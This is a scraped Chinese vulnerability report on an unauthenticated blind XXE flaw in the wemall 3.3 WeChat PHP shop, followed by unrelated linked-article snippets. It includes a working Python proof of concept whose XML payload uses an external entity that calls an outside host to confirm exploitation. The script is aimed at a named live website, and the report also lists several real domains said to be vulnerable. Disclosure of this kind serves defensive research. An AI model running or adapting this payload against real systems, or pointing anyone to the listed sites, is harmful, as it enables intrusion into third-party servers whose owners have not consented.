测试版本wemall 3.3

下载地址 http://git.oschina.net/einsqing/wemall/repository/archive?ref=master 需要开源中国的账号

code 区域

//Application\Lib\Action\Admin\WechatAction.class.php

<?php

class WechatAction extends Action {

public function init() {

import ( 'wechat', APP_PATH . 'Common', '.class.php' );

$config = M ( "Wxconfig" )->where ( array (

"id" => "1" 

) )->find ();

$options = array (

'token' => $config ["token"], // 填写你设定的key

'encodingaeskey' => $config ["encodingaeskey"], // 填写加密用的EncodingAESKey

'appid' => $config ["appid"], // 填写高级调用功能的app id

'appsecret' => $config ["appsecret"], // 填写高级调用功能的密钥

);

$weObj = new Wechat ( $options );

return $weObj;

}

public function index() {

$weObj = $this->init ();

$weObj->valid ();

....剩下的省略

可以看到index函数中

$weObj为Wechat类的实例化

而Wechat类从import ( 'wechat', APP_PATH . 'Common', '.class.php' );导入的

也就是Application/Common/wechat.class.php

重点关注valid()函数

code 区域

public function valid($return=false)

    {

        $encryptStr="";

        if ($_SERVER['REQUEST_METHOD'] == "POST") {

            $postStr = file_get_contents("php://input");

            $array = (array)simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);

...省略

直接使用了simplexml_load_string函数

如何调用代码呢?

访问index.php?g=Admin&m=Wechat&a=index

如何利用参考: http://wooyun.org/bugs/wooyun-2010-098591

下面是poc代码:

code 区域

#!/usr/bin/python

import urllib2

import random

import socket

socket.setdefaulttimeout(10)

def send_xml(url,data):

    import requests

    try:

        requests.post(url,data)

    except Exception, e:

        print e

def poc(host):

    url = 'http://' + host + '/index.php?g=Admin&m=Wechat&a=index'

    key = "".join(random.sample('abcdefghijklmnopqrstuvwxyz', 6))

    value = "".join(random.sample('abcdefghijklmnopqrstuvwxyz', 6))

    data = """<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://pysandbox.sinaapp.com/kv?act=set&k={key}&v={value}">

%remote;]>

<root/>"""

    data = data.replace('{key}', key).replace('{value}', value)

    send_xml(url, data)

    url = 'http://pysandbox.sinaapp.com/kv?act=get&k=' + key

    res = urllib2.urlopen(url).read()

    if value in res:

        print "xxe"

poc('www.mybuy.so')

访问http://pysandbox.sinaapp.com/kv?act=set&k={key}&v={value} 可以在远程主机设置一个键值对

http://pysandbox.sinaapp.com/kv?act=get&k=刚刚的key 可以查看是否设置了这个键值对

商业版本也应该可以xxe

http://demo.inuoer.com/1/Admin/Wechat/index.html

但是demo有防火墙

漏洞证明:

下面是存在xxe的

http://www.dadodo.wang/index.php?g=Admin&m=Wechat&a=index

http://www.jxbar.com/index.php?g=Admin&m=Wechat&a=index

http://www.liushengjie.com/index.php?g=Admin&m=Wechat&a=index

http://www.wifi-xj.com/index.php?g=Admin&m=Wechat&a=index

http://www.tjguguai.net/index.php?g=Admin&m=Wechat&a=index

http://www.mallonline.com.cn/index.php?g=Admin&m=Wechat&a=index

http://www.mybuy.so/index.php?g=Admin&m=Wechat&a=index

修复方案:

http://wiki.wooyun.org/web:xxe-attack

微信开源PHP商城系统一处blind xxe(无需登录,附POC)的更多相关文章

  1. H5传奇源码,附带微信支付,商城系统,新增了元宝交易商城系统源码

    源码说明:传奇游戏是80年底的经典游戏,传奇源码,H5游戏源码下载,附带微信支付,商城系统,新增了元宝交易商城系统源码,内置很多任务,比如首冲任务,修复了很多BUG.[架设要求]游戏名称:H5传奇世界 ...

  2. 微信小程序商城系统怎样搭建?

    微信是一种非常便捷的生活方式,微信小程序一直深受企业和商家的青睐,如美团.京东.拼多多.唯品会.小红书等知名公司都推出了自己的小程序.对于网上商城小程序的开发似乎是一件非常难的事情,用什么开发?如何开 ...

  3. 微信开发学习日记(七):开源微商城wemall

    最近嘛,不是在调研PHP和微信的行情么. 发现,微商城是非常火爆的一个领域,既然业务有搞头,那么技术这一块也有很多选择. 网上发现了wemall这个开源的PHP实现的微商城. 下载了开源版本,PHP后 ...

  4. 微信小程序购物商城系统开发系列-目录结构

    上一篇我们简单介绍了一下微信小程序的IDE(微信小程序购物商城系统开发系列-工具篇),相信大家都已经蠢蠢欲试建立一个自己的小程序,去完成一个独立的商城网站. 先别着急我们一步步来,先尝试下写一个自己的 ...

  5. 微信小程序购物商城系统开发系列-工具篇

    微信小程序开放公测以来,一夜之间在各种技术社区中就火起来啦.对于它 估计大家都不陌生了,对于它未来的价值就不再赘述,简单一句话:可以把小程序简单理解为一个新的操作系统.新的生态,未来大部分应用场景都将 ...

  6. 微信小程序购物商城系统开发系列

    微信小程序购物商城系统开发系列 微信小程序开放公测以来,一夜之间在各种技术社区中就火起来啦.对于它 估计大家都不陌生了,对于它未来的价值就不再赘述,简单一句话:可以把小程序简单理解为一个新的操作系统. ...

  7. wemall app微信商城系统Android之通用通知接口demo

    wemall-mobile是基于WeMall的Android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享Native(原生)支付模式一demo,供技术 ...

  8. wemall开源商城免费商城系统部分代码(内含代码地址)

    wemall开源商城免费商城系统部分代码,下面分享部分代码,供学习者学习: 开源版把install文件夹下的install.lock删除之后可进行自动安装 后台访问地址:http:// www.xxx ...

  9. 微信小程序商城开源项目,Weixin-App-Shop 1.0 版本正式发布!!!

    微信小程序商城开源项目,Weixin-App-Shop 1.0 版本正式发布 Weixin-App-Shop 是捷微团队开发的微信小程序商城开源项目,涵盖了微信商城的全部功能,能够快速发布简单易用的小 ...

随机推荐

  1. ResultSet遍历过程中修改自身数据,不会改变循环的过程

    ResultSet遍历过程中修改自身数据,不会改变循环的过程: import java.sql.Connection; import java.sql.PreparedStatement; impor ...

  2. KingbaseES的DBLink创建

    创建一个KDB库,建立dblink,需要在KDB库内访问KINGBASE库中的数据: KINGBASE=#CREATE DATABASE KDB [kingbase@localhost config] ...

  3. FMS配置小结

    官方连接:http://help.adobe.com/en_US/flashmediaserver/configadmin/WS5b3ccc516d4fbf351e63e3d119f2925e64-8 ...

  4. iOS-直播开发(开发从底层做起)

    一直在忙, 也没写过几次播客! 但一直热衷于直播开发技术, 公司又不是直播方向的, 所以就年前忙里偷袭研究了一下直播开发, 然后翻阅了很多大神的技术博客等, 写了一个简单的Demo, 又根据网上大神们 ...

  5. .Net程序员学用Oracle系列(11):系统函数(下)

    1.聚合函数 1.1.COUNT 函数 1.2.SUM 函数 1.3.MAX 函数 1.4.MIN 函数 1.5.AVG 函数 2.ROWNUM 函数 2.1.ROWNUM 函数简介 2.2.利用 R ...

  6. 浅谈Django的Q查询以及AngularJS的Datatables分页插件

    使用Q查询,首先要导入Q模块: from django.db.models import Q 可以组合使用&,|操作符用于多个Q的对象,产生一个新的Q对象,Q对象也可以用~操作符放在前面表示否 ...

  7. 理解javascript this 的绑定过程

    在理解this 的绑定过程之前,首先要理解调用位置:调用位置就是函数在代码中被调用的位置(而不是声明的位置).只有仔细分析调用位置才能回答这个问题:这个this 到底引用的是什么?通常来说,寻找调用位 ...

  8. MVC - 云服务器部署

    本章将和大家分享的是如果在云服务器上部署mvc,云服务器部署其实也不高大上,就和咋们在自己电脑上用iis发布部署站点一样,只是需要使用云解析把自己购买的域名解析到对应的自己的云服务器上,这些都是用的云 ...

  9. C# Web.config 配置handlers 和 httpHandlers

    <system.web> <httpHandlers> <add verb="*" path="*.js.axd" type=&q ...

  10. self、 superclass 、 super的区别

    self. superclass . super self : 当前方法的调用者 class:获取方法调用者的类对象 superclass:获取方法调用者的父类对象 super:不是一个指针,编译指示 ...